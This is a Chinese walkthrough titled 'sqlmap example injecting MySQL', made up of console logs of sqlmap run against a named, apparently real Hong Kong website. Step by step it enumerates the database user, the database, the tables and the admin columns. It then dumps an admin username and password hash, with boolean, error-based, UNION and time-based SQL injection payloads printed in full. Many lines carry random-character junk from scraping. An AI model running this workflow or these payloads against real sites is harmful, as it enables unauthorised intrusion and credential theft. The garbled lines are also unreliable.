sqlmap实例注入mysql

admin

D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
8 Y$ u6 s1 O+ L: G- ~# bms "Mysql" --current-user       /*  注解：获取当前用户名称
( K4 X# C; ], S4 \3 J    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:53:54
0 i, z5 c$ o, K/ j7 R! k+ D[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
session file
7 r6 b9 j0 X( z0 V& n) V4 y- `+ u6 o: Z* Y[16:53:54] [INFO] resuming injection data from session file
[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[16:53:54] [INFO] testing connection to the target url
* E9 A8 z: N( zsqlmap identified the following injection points with a total of 0 HTTP(s) reque
+ b/ N- L/ e3 C3 ^) S' d$ Csts:
---
& S' W- E2 `: p6 g( lPlace: GET
9 \$ ]& _6 [/ x, Y" ]Parameter: id
    Type: boolean-based blind
  P# c3 S. d% R5 }4 t    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
    Type: error-based
' g1 e$ ?; o( P0 U# H7 U: P    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
2 ^' K) }$ G9 h! G0 ~    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
5 ?9 V2 h% ?" x; u120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    Type: UNION query
, H5 K3 j( R- C2 H( Y    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    Type: AND/OR time-based blind
6 j  @* {$ `  [2 i8 G: S. E    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=276 AND SLEEP(5)
---
[16:53:55] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.0
" R5 s- A5 _& c6 |( uback-end DBMS: MySQL 5.0
[16:53:55] [INFO] fetching current user
2 h+ P9 X2 t# |! y4 U+ tcurrent user:    'root@localhost'   
. ]6 C$ }# s4 e; E# E[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
2 y6 G" S' @5 v# b3 f: stput\www.wepost.com.hk'

shutting down at: 16:53:58

! m4 f; ^$ h& kD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
$ m9 e* Y+ d4 L+ j9 F( _ms "Mysql" --current-db                  /*当前数据库
    sqlmap/0.9 - automatic SQL injection and database takeover tool
5 G  ?; f6 T$ n2 N7 Z, Q) R$ b    http://sqlmap.sourceforge.net

starting at: 16:54:16
6 F$ H* D$ x: A# S. O+ E[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
( s5 v& E7 p3 ?2 Q session file
8 i; M, C, g$ q[16:54:16] [INFO] resuming injection data from session file
[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
4 F1 V. u' F% T0 b[16:54:16] [INFO] testing connection to the target url
; y# T% a* P$ J& [* xsqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
2 `0 v) o' l# B: [# Z8 n7 M6 R---
Place: GET
Parameter: id
  v- d3 p" d7 Z" C    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
% @7 t, ~# a* i1 E    Payload: id=276 AND 799=799
$ m4 y, Q3 I9 i    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
& }5 [! E) [8 U. E; @) @    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
' O  i  V/ u, ?6 ^5 d6 B120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
3 ]1 U( Z* H8 ?% S1 c4 }" [),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    Type: UNION query
  c% S8 l/ J: p. l5 f    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
7 b  b: B2 D2 c8 F8 \(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    Type: AND/OR time-based blind
3 @5 l0 m; w, R1 M    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=276 AND SLEEP(5)
+ Q. G/ l* o; U: J1 A4 |---
[16:54:17] [INFO] the back-end DBMS is MySQL
" e. E% e" M) S2 x; yweb server operating system: Windows
# H2 Z. w5 G' a2 U1 v& t# Bweb application technology: Apache 2.2.11, PHP 5.3.0
back-end DBMS: MySQL 5.0
[16:54:17] [INFO] fetching current database
current database:    'wepost'
3 A1 O; g2 O5 f! I7 n3 \[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
tput\www.wepost.com.hk'

shutting down at: 16:54:18
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
ms "Mysql" --tables  -D "wepost"         /*获取当前数据库的表名
    sqlmap/0.9 - automatic SQL injection and database takeover tool
2 h9 |8 v/ k& b1 [7 F    http://sqlmap.sourceforge.net

starting at: 16:55:25
5 H$ _% I6 x' |[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
: n, Q2 @4 E/ s session file
$ m+ A  x" t9 g3 I[16:55:25] [INFO] resuming injection data from session file
[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
/ j- p& u& l( `. n[16:55:25] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
  K! T' [7 O$ J; Ists:
---
8 E" J7 M( D$ D3 G6 R  ^6 T' Y% o; }Place: GET
+ Q% m8 J/ S' r: e" w; M  j1 |: VParameter: id
; s- C6 _* I) b. i7 _; U    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
0 Z8 \- A/ q; k* L- K+ ^9 W  a$ M    Payload: id=276 AND 799=799
6 O/ P3 ~2 t  Q0 |. x- k    Type: error-based
: X3 S- e$ G, Q6 p* [- ?1 D: @" C5 d    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
, d" g3 W% m- \9 C    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
8 Z2 I- _: T! _2 F    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=276 AND SLEEP(5)
---
[16:55:26] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.0
back-end DBMS: MySQL 5.0
: ]. V; }  t1 ^3 N1 d! q[16:55:26] [INFO] fetching tables for database 'wepost'
7 N3 i- n' ~; I2 r- v[16:55:27] [INFO] the SQL query used returns 6 entries
Database: wepost
  [, ^' c" m- E* z[6 tables]
5 T* N" D. ?' e$ ^3 P" ?( ^& Q2 h+-------------+
" F. Q6 J) X5 @' A% }1 Y% `, q& S| admin       |
; T; C: R$ y+ W1 |5 [5 z9 W| article     |
) O) B  o; E7 k+ G* K% C" {9 E; @| contributor |
) p! o4 _" Q" O' s" a+ m| idea        |
1 F  w  c" m/ q/ o  o: o| image       |
3 c& ^6 ^/ O( {4 x" B$ U! f| issue       |
+-------------+
[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
tput\www.wepost.com.hk'

shutting down at: 16:55:33
; M" I, w5 s( I- i7 A4 M
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
/ L1 R! w2 u( ~* ]% {/ ?ms "Mysql" --columns -T "admin" users-D "wepost" -v 0     /*获取admin表的字段名
  T( B5 M5 B( G/ S* k( C6 R    sqlmap/0.9 - automatic SQL injection and database takeover tool
4 A: |1 a3 W+ S! A+ U7 x    http://sqlmap.sourceforge.net

starting at: 16:56:06
$ j) }) B7 l1 p1 V1 T& Z& ksqlmap identified the following injection points with a total of 0 HTTP(s) reque
- ]) @1 z% ?6 U9 A, csts:
4 j3 G" _0 i- X6 G8 l! y; y( a, w---
Place: GET
3 [; s  `: m8 N" q2 VParameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
. u$ A: r3 B; d2 a" @. L6 Z8 ~    Payload: id=276 AND 799=799
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
- W5 x7 S8 Z! _    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
$ S7 }. e$ m( U# b    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
' Q1 P/ @- `" F1 ?/ T) ?    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
3 n  f% W1 n1 l- O. {9 T) T% wCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
9 v' w; j& D) m9 e7 w' x; n) t4 }    Type: AND/OR time-based blind
7 h( j( E' h) }/ R5 M+ w5 U7 R! d    Title: MySQL > 5.0.11 AND time-based blind
3 y& w# i1 p: k    Payload: id=276 AND SLEEP(5)
---
web server operating system: Windows
! q4 V2 u; q! d7 ^; R) S% E4 v# uweb application technology: Apache 2.2.11, PHP 5.3.0
, {4 q4 z3 [) `  j2 k$ X$ Wback-end DBMS: MySQL 5.0
[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
# a* }* e1 c) k' M4 assion': wepost, wepost
2 T5 O( M2 T8 D0 l  s1 @9 G" Y' cDatabase: wepost
Table: admin
[4 columns]
% s- H2 g! ^: s' t+----------+-------------+
* X4 x/ l, i$ k' Z  X0 r$ A+ w  }| Column   | Type        |
( w' s; j; J* d$ p" M3 ?+----------+-------------+
| id       | int(11)     |
| password | varchar(32) |
0 j3 i2 x* T# J| type     | varchar(10) |
| userid   | varchar(20) |
' a- F+ p" I8 d: |9 n' v* j( F) a8 a+----------+-------------+
! X3 o0 i* u6 a) b) P: w

shutting down at: 16:56:19

D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
ms "Mysql"  --dump  -C "userid,password"  -T "admin" -D "wepost" -v 0      /*获取字段里面的内容
+ n1 h* h. R0 j9 ^    sqlmap/0.9 - automatic SQL injection and database takeover tool
* C1 L( r# L6 Q* B7 M  h4 `0 ?    http://sqlmap.sourceforge.net

starting at: 16:57:14
8 E9 _, C+ S/ qsqlmap identified the following injection points with a total of 0 HTTP(s) reque
; j8 q, B7 ]( L$ x; csts:
8 r  N4 j& A' v" i" ]---
Place: GET
  z' p! m/ f& L& a0 C# NParameter: id
; f) P( w# }  {- M, [; q- w  m- c    Type: boolean-based blind
' C- S5 L0 p' B$ u& H    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
( x0 L8 J# L& ^    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
# ]4 e# z8 z; L) {),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
* h( l' ~5 l" U2 i3 L, F: E! J    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
1 W, L0 t* S# p4 J    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
) Y& ?! l* P( J8 c+ o7 J& p(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
. H+ d3 x% {0 }/ A* m: k$ SCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    Type: AND/OR time-based blind
2 X) h. N4 i$ A' w    Title: MySQL > 5.0.11 AND time-based blind
! {0 h. l: `  G4 X& D4 g    Payload: id=276 AND SLEEP(5)
9 R) ?$ b9 K6 s+ |. i5 b5 v---
3 }, v, g1 _3 h! mweb server operating system: Windows
% L2 ~  b1 {5 l3 p# c7 K2 gweb application technology: Apache 2.2.11, PHP 5.3.0
back-end DBMS: MySQL 5.0
. m5 R% m9 m$ b2 j8 h- _, X! jrecognized possible password hash values. do you want to use dictionary attack o
0 s/ n+ I0 X; _; k7 v% kn retrieved table items? [Y/n/q] y
what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]
: M: a% I' ?) a: l) M% wdo you want to use common password suffixes? (slow!) [y/N] y
Database: wepost
Table: admin
6 R) G) A4 A  U[1 entry]
' O4 K" ]( [8 A' J5 ^+----------------------------------+------------+
3 \( d1 q3 L  v5 M0 K| password                         | userid     |
4 w& t' u) j+ v+----------------------------------+------------+
6 V0 C6 r  m; b6 || 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
  X1 C4 c5 E" R8 @3 L$ i1 ?+----------------------------------+------------+
; [- N) C# w/ q$ ~/ Q# i

shutting down at: 16:58:14
- W( H% w5 _% M" i) L2 w1 G
9 G1 o; b# b) I( A; ~8 H: e9 U& QD:\Python27\sqlmap>